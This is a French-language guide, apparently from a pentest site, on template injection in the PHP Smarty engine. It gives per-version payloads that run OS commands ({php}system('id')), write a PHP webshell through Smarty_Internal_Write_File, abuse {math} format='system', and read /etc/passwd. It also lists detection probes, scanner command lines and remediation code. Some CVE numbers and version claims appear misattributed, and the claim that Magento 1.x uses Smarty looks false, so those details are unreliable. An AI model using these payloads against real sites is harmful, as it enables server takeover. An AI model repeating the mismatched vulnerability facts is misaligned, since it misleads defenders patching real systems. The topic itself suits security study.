SSTI Smarty (CWE-1336) dans PHP : blocs {php} et évasions de sandbox avant la version 4.x pour exécuter des commandes OS arbitraires.
TL;DR
{$smarty.version} retourne la version Smarty ; {7*7} → 49 dans le contexte Smarty{php}system('id');{/php} — fonctionne dans Smarty < 3.1.39 et SmartyBC{Smarty_Internal_Write_File::writeFile(...,'<?php system(...); ?>',...)} écrit un webshell{math} (CVSS 9.8, Smarty < 4.3.1)$smarty->enableSecurity()Smarty est un moteur de templates PHP introduit en 2002, largement adopté dans les applications web legacy incluant Magento 1.x, OpenCart et de nombreux plugins CMS. Les templates Smarty utilisent une syntaxe à accolades : {$variable} pour la sortie, {fonction param=valeur} pour les fonctions intégrées, et historiquement {php}{/php} pour l'exécution PHP brute. La SSTI dans Smarty se produit quand une entrée contrôlée par l'utilisateur est rendue via $smarty->fetch('string://' . $userInput) ou createTemplate('string://' . $userInput) plutôt que chargée depuis un fichier de template sécurisé.
Smarty a accumulé plusieurs CVE SSTI au fil de son historique de versions. Le bloc {php} (supprimé dans 3.1.39, CVE-2021-26120) fournissait l'exécution PHP directe. La classe Smarty_Internal_Write_File (CVE-2022-29221) permettait l'écriture de webshells PHP arbitraires. La fonction {math} (CVE-2023-28447, CVSS 9.8) contournait le sandbox de sécurité via son paramètre format dans les versions antérieures à 4.3.1. La classe SmartyBC restaure le bloc {php} dans toute installation Smarty 3.x.
Le pattern PHP vulnérable :
// VULNÉRABLE — l'entrée utilisateur est la SOURCE du template
$smarty = new Smarty();
$userTemplate = $_POST['template'];
// Rend la chaîne contrôlée par l'utilisateur comme template Smarty
echo $smarty->fetch('string://' . $userTemplate);Payloads par version Smarty :
// Smarty < 3.1.39 et SmartyBC — exécution PHP directe
{php}system('id');{/php}
// Smarty 3.x (tous) — écriture d'un webshell PHP
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
// Smarty < 4.3.1 — bypass fonction math (CVE-2023-28447)
{math equation="id" format="system" assign=output}
// Sonde de détection (toutes versions)
{$smarty.version} → retourne la chaîne de version Smarty
{7*7} → 49 (évaluation math)| Variante | Payload | Version Smarty | Impact |
|---|---|---|---|
| Détection version | {$smarty.version} | Toutes | Confirme Smarty + version |
| Évaluation math | {7*7} | Toutes | Retourne 49 |
Bloc {php} | {php}system('id');{/php} | < 3.1.39, SmartyBC | Exécution OS directe |
| Write_File webshell | {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system(...); ?>",self::clearConfig())} | 3.x / 4.x | Écrit webshell PHP dans la racine web |
| Bypass math (CVE-2023-28447) | {math equation="id" format="system"} | < 4.3.1 | Appel de fonction PHP comme callback format |
| getstreamvariable | {Smarty::getStreamVariable('file:///etc/passwd')} | < 3.1.21 | Lecture de fichier arbitraire |
CVE-2021-26120 — Smarty < 3.1.39, {php} pas entièrement supprimé (CVSS 9.8)
Smarty 3.1 a déprécié les blocs {php} et annoncé leur suppression dans 3.1.39. Cependant, les versions jusqu'à 3.1.38 évaluaient toujours le contenu {php} via un appel direct à eval() de PHP. Les applications n'ayant pas mis à jour vers 3.1.39 restaient vulnérables au payload SSTI Smarty le plus simple : {php}system('id');{/php}. CVSS 9.8.
CVE-2023-28447 — Bypass de sandbox Smarty {math} (CVSS 9.8)
Un chercheur en sécurité a découvert que le tag {math} de Smarty 4.x acceptait un paramètre format passé comme premier argument à sprintf()-like. En remplaçant format par un nom de fonction PHP système, des callables PHP arbitraires pouvaient être invoqués. {math equation="id" format="system"} atteignait le RCE. La vulnérabilité contournait la politique de sécurité de Smarty car {math} était un builtin autorisé. Corrigé dans Smarty 4.3.1. CVSS 9.8.
CVE-2022-29221 — Webshell Write_File (CVSS 7.2)
Un attaquant avec accès au rendu de templates Smarty contrôlés par l'utilisateur pouvait appeler la méthode statique Smarty_Internal_Write_File::writeFile() pour écrire un webshell PHP vers n'importe quel chemin accessible en écriture par le serveur web. Cela fournissait un RCE persistant via une attaque en deux étapes : injection de template pour écrire le webshell, puis requête HTTP pour l'exécuter. Corrigé dans Smarty 3.1.45 et 4.1.1.
CVE-2021-26119 — Évasion de sandbox Smarty via appel de méthode de classe PHP statique (CVSS 7.5)
Smarty permettait aux templates d'appeler des méthodes statiques PHP arbitraires via la syntaxe {NomDeClasse::nomMethode()}. Un attaquant pouvait invoquer {Smarty_Internal_Write_File::writeFile(...)} ou d'autres méthodes statiques accessibles pour contourner le sandbox Smarty. Cette vulnérabilité affectait les versions Smarty antérieures à 3.1.39 et constituait un vecteur d'évasion de sandbox complémentaire au bloc {php}, permettant un RCE même lorsque {php} était désactivé. CVSS 7.5, référence NVD : CVE-2021-26119.
Déploiements legacy Magento 1.x — Exposition SSTI persistante
Magento 1.x (fin de vie juin 2020) utilise Smarty 2.x pour son système de templates. Des milliers de boutiques Magento 1 restent en production sans chemin de mise à jour. Ces boutiques fonctionnent sur des versions Smarty prédatant la suppression de {php} et sont vulnérables à un RCE trivial via n'importe quelle injection de template. Les groupes de fraude e-commerce ciblent activement les boutiques Magento 1 pour les skimmers de cartes de paiement.
SmartyBC (classe Smarty Backward Compatibility) restaure les blocs {php} dans les installations Smarty 3.x+. Toute application utilisant new SmartyBC() au lieu de new Smarty() conserve le vecteur RCE {php} quelle que soit la version Smarty. Vérifier l'utilisation de SmartyBC dans votre codebase lors de la mise à jour vers Smarty 3.1.39+.
{$smarty.version} — une chaîne de version Smarty confirme le moteur.{7*7} — 49 confirme l'évaluation math Smarty.${{<%[%'"}}%\ — Smarty retourne Smarty\Exception: Syntax error in template.{$smarty.server.PHP_SELF} — retourne le chemin du script PHP courant, utile pour cibler le webshell Write_File.{php}{/php} — si évalué (même sortie vide), le bloc {php} est actif (Smarty < 3.1.39 ou SmartyBC).# SSTImap — moteur Smarty
sstimap -u "http://cible.com/apercu?template=*" --engine Smarty
# tplmap
tplmap.py -u "http://cible.com/apercu?template=*" --engine smarty// VULNÉRABLE — l'entrée utilisateur est source du template
$smarty = new Smarty();
echo $smarty->fetch('string://' . $_POST['template']);
// SÉCURISÉ — template filesystem, entrée utilisateur comme variable assignée
$smarty = new Smarty();
$smarty->setTemplateDir('/app/templates/');
$smarty->setCompileDir('/app/templates_c/');
$smarty->assign('nomAffichage', htmlspecialchars($userInput));
echo $smarty->fetch('salutation.tpl');$smarty = new Smarty();
$smarty->enableSecurity();
$security = new Smarty_Security($smarty);
$security->php_handling = Smarty_Security::PHP_REMOVE; // supprimer blocs {php}
$security->allow_php_tag = false; // bloquer {php}
$security->static_classes = null; // bloquer tous les appels statiques
$security->php_modifiers = ['escape', 'date_format']; // allowlist modifiers sûrs
$smarty->setSecurityPolicy($security);
// Ne JAMAIS utiliser SmartyBC — restaure {php}# Versions Smarty minimum sécurisées :
# Smarty 3.x : 3.1.45+ (patche CVE-2022-29221)
# Smarty 4.x : 4.3.1+ (patche CVE-2023-28447)
# Smarty 5.x : 5.0.0+ (recommandé, réécriture du modèle de sécurité)
# Mettre à jour :
composer require smarty/smarty:^4.3.1La SSTI Smarty se produit quand une entrée contrôlée par l'utilisateur est rendue comme chaîne de template Smarty via Smarty::createTemplate() ou fetch() avec une ressource string://. Le bloc {php} (versions < 3.1.39) évalue du PHP brut ; les versions ultérieures exposent Smarty_Internal_Write_File et les appels de méthodes statiques pour l'exécution de code équivalente.
{php}{/php} est un tag bloc Smarty qui exécutait du PHP brut dans un template. Déprécié dans Smarty 3.1 et supprimé dans Smarty 3.1.39. Sur les versions vulnérables : {php}system('id');{/php} exécute l'appel system() et retourne la sortie. C'était le vecteur RCE Smarty le plus simple.
CVE-2023-28447 : Smarty < 4.3.1 — la fonction math permet des appels de fonctions PHP arbitraires (CVSS 9.8). CVE-2022-29221 : Smarty < 3.1.45/4.1.1 — évasion sandbox Smarty_Internal_Write_File (CVSS 7.2). CVE-2021-26120 : Smarty < 3.1.39 — bloc {php} pas entièrement supprimé (CVSS 9.8). CVE-2021-26119 : évasion du sandbox Smarty via appel de méthode de classe PHP statique (CVSS 7.5).
Smarty_Internal_Write_File::writeFile() est une méthode statique Smarty qui écrit du contenu vers un chemin de fichier arbitraire. L'exploit : {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,'<?php system($_GET["cmd"]); ?>',self::clearConfig())} écrit un webshell PHP vers le chemin du script courant. Le webshell est ensuite accessible via HTTP.
La fonction {math} de Smarty accepte un callable PHP via le paramètre format. Dans les versions avant 4.3.1, le paramètre equation était passé comme argument au format callback : {math equation='id' format='system'} appelle system('id'). CVE-2023-28447 (CVSS 9.8), corrigé dans Smarty 4.3.1.
SmartyBC (Smarty Backward Compatibility) est une classe étendant Smarty qui restaure les fonctionnalités dépréciées incluant le bloc {php}. Les applications utilisant SmartyBC au lieu de Smarty pour la compatibilité PHP legacy conservent le vecteur d'exécution {php}{/php}. Toute application utilisant SmartyBC est vulnérable au même RCE que Smarty < 3.1.39.
Soumettre {$smarty.version} — si une chaîne de version Smarty apparaît, la SSTI est confirmée. Soumettre {7*7} — si 49 est retourné, Smarty évalue les expressions mathématiques. Le polyglotte Korchagin retourne Smarty\Exception: Syntax error in template pour Smarty spécifiquement. Smarty utilise {accolades} plutôt que {{double}} ou ${dollar}.
Oui. Smarty était le moteur de templates PHP dominant avant que Twig devienne standard dans Symfony 2+. Des applications PHP legacy (nombreuses construites entre 2002-2012) fonctionnent toujours avec Smarty. Magento 1.x, OpenCart et de nombreux plugins CMS utilisent Smarty. De nombreuses instances fonctionnent sur des versions non patchées (< 3.1.39, < 4.3.1) avec des vulnérabilités RCE connues.
Mettre à jour vers Smarty 4.3.1+ (patche CVE-2023-28447). Ne jamais passer des entrées utilisateur à $smarty->fetch('string:' . $userInput). Toujours charger depuis le système de fichiers : $smarty->fetch('salutation.tpl') avec les données utilisateur assignées via $smarty->assign('nom', $userInput). Activer $smarty->enableSecurity() même pour les templates filesystem.
L'objet de sécurité Smarty 4.x ($smarty->enableSecurity()) bloque les blocs {php}, {eval}, l'accès aux classes statiques et les fonctions risquées. La politique de sécurité peut être configurée pour autoriser explicitement des modificateurs et fonctions PHP spécifiques. Cependant, CVE-2023-28447 (< 4.3.1) a montré que le tag {math} échappait au sandbox via son paramètre format, démontrant que la configuration de sécurité Smarty n'est pas un contrôle de prévention fiable à elle seule.
La méthode statique getstreamvariable() dans les anciennes versions Smarty pouvait être appelée comme {Smarty::getStreamVariable('file:///etc/passwd')} pour lire des fichiers arbitraires. C'était un vecteur de lecture de fichiers plutôt que de RCE. Patché dans Smarty 3.1.21. Sur les instances anciennes, cela fournit la lecture de fichiers arbitraires comme tremplin vers le RCE.